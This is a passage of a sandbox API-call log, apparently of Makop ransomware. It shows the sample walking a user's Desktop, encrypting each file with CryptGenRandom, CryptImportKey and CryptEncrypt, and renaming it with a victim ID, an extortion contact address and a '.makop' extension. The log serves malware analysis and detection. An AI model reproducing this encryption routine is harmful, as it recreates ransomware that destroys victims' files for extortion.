RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.694] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.694] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.694] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.694] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.694] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.694] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.695] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.695] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.695] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.695] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.695] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.695] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c3a, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x1c3a, lpOverlapped=0x0) returned 1 [0055.695] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x1c40) returned 1 [0055.696] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.696] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x1c40, lpOverlapped=0x0) returned 1 [0055.696] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.696] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.696] SetEndOfFile (hFile=0x120) returned 1 [0055.703] GetProcessHeap () returned 0x48a0000 [0055.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.703] GetProcessHeap () returned 0x48a0000 [0055.703] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.703] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jA4QIZB Xjb.gif.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 100 [0055.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jA4QIZB Xjb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ja4qizb xjb.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jA4QIZB Xjb.gif.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ja4qizb xjb.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.802] CloseHandle (hObject=0x120) returned 1 [0055.803] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bfe82a0, ftCreationTime.dwHighDateTime=0x1d5df0a, ftLastAccessTime.dwLowDateTime=0x46c540, ftLastAccessTime.dwHighDateTime=0x1d5dd5e, ftLastWriteTime.dwLowDateTime=0x46c540, ftLastWriteTime.dwHighDateTime=0x1d5dd5e, nFileSizeHigh=0x0, nFileSizeLow=0x872e, dwReserved0=0x0, dwReserved1=0x0, cFileName="K2s1OqUv74o.mp3", cAlternateFileName="K2S1OQ~1.MP3")) returned 1 [0055.803] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2s1OqUv74o.mp3") returned 53 [0055.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2s1OqUv74o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k2s1oquv74o.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.803] GetProcessHeap () returned 0x48a0000 [0055.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.803] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.803] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.803] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x2, lpOverlapped=0x0) returned 1 [0055.806] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.806] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.806] GetProcessHeap () returned 0x48a0000 [0055.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.806] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.806] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.806] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.806] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.806] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.807] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.807] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.807] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.807] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.807] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.807] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x872e, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x872e, lpOverlapped=0x0) returned 1 [0055.808] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x8730, dwBufLen=0x8730 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x8730) returned 1 [0055.808] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.808] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8730, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x8730, lpOverlapped=0x0) returned 1 [0055.809] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.809] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x8804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.809] SetEndOfFile (hFile=0x120) returned 1 [0055.817] GetProcessHeap () returned 0x48a0000 [0055.817] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.817] GetProcessHeap () returned 0x48a0000 [0055.817] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.817] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2s1OqUv74o.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 100 [0055.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2s1OqUv74o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k2s1oquv74o.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K2s1OqUv74o.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k2s1oquv74o.mp3.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.822] CloseHandle (hObject=0x120) returned 1 [0055.822] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543ea220, ftCreationTime.dwHighDateTime=0x1d5d828, ftLastAccessTime.dwLowDateTime=0x857c2430, ftLastAccessTime.dwHighDateTime=0x1d5e03d, ftLastWriteTime.dwLowDateTime=0x857c2430, ftLastWriteTime.dwHighDateTime=0x1d5e03d, nFileSizeHigh=0x0, nFileSizeLow=0xd6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LWsucVWsiQouBGsr.avi", cAlternateFileName="LWSUCV~1.AVI")) returned 1 [0055.822] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LWsucVWsiQouBGsr.avi") returned 58 [0055.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LWsucVWsiQouBGsr.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lwsucvwsiqoubgsr.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.822] GetProcessHeap () returned 0x48a0000 [0055.822] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.822] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.822] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.823] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xd, lpOverlapped=0x0) returned 1 [0055.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.825] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.825] GetProcessHeap () returned 0x48a0000 [0055.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0055.825] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0055.825] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.825] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0055.825] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.826] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.826] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.826] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.826] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.826] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.826] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.826] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.827] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd6e3, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xd6e3, lpOverlapped=0x0) returned 1 [0055.827] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xd6f0, dwBufLen=0xd6f0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xd6f0) returned 1 [0055.828] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.828] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd6f0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xd6f0, lpOverlapped=0x0) returned 1 [0055.829] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.829] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xd7d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.829] SetEndOfFile (hFile=0x120) returned 1 [0055.836] GetProcessHeap () returned 0x48a0000 [0055.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0055.836] GetProcessHeap () returned 0x48a0000 [0055.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LWsucVWsiQouBGsr.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 105 [0055.836] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LWsucVWsiQouBGsr.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lwsucvwsiqoubgsr.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LWsucVWsiQouBGsr.avi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lwsucvwsiqoubgsr.avi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.841] CloseHandle (hObject=0x120) returned 1 [0055.841] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c99c60, ftCreationTime.dwHighDateTime=0x1d5e4be, ftLastAccessTime.dwLowDateTime=0xb056bae0, ftLastAccessTime.dwHighDateTime=0x1d5def7, ftLastWriteTime.dwLowDateTime=0xb056bae0, ftLastWriteTime.dwHighDateTime=0x1d5def7, nFileSizeHigh=0x0, nFileSizeLow=0x7213, dwReserved0=0x0, dwReserved1=0x0, cFileName="MHdrTnPn3vLkuZD.png", cAlternateFileName="MHDRTN~1.PNG")) returned 1 [0055.841] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MHdrTnPn3vLkuZD.png") returned 57 [0055.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MHdrTnPn3vLkuZD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhdrtnpn3vlkuzd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.841] GetProcessHeap () returned 0x48a0000 [0055.842] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.842] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.842] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.842] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xd, lpOverlapped=0x0) returned 1 [0055.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.844] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.844] GetProcessHeap () returned 0x48a0000 [0055.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0055.844] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0055.844] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.844] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0055.844] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.845] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.955] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.955] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.956] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.956] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.956] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.957] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.957] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7213, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x7213, lpOverlapped=0x0) returned 1 [0055.958] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x7220, dwBufLen=0x7220 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x7220) returned 1 [0055.958] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.958] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x7220, lpOverlapped=0x0) returned 1 [0055.959] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.959] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x7304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.959] SetEndOfFile (hFile=0x120) returned 1 [0055.966] GetProcessHeap () returned 0x48a0000 [0055.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0055.966] GetProcessHeap () returned 0x48a0000 [0055.966] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.966] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MHdrTnPn3vLkuZD.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 104 [0055.967] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MHdrTnPn3vLkuZD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhdrtnpn3vlkuzd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MHdrTnPn3vLkuZD.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhdrtnpn3vlkuzd.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.973] CloseHandle (hObject=0x120) returned 1 [0055.973] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f679320, ftCreationTime.dwHighDateTime=0x1d5e466, ftLastAccessTime.dwLowDateTime=0x294f8d20, ftLastAccessTime.dwHighDateTime=0x1d5e563, ftLastWriteTime.dwLowDateTime=0x294f8d20, ftLastWriteTime.dwHighDateTime=0x1d5e563, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtMQ9c9PY3", cAlternateFileName="MTMQ9C~1")) returned 1 [0055.973] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3") returned 48 [0055.973] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\Users\\5p5NrGJn0jS 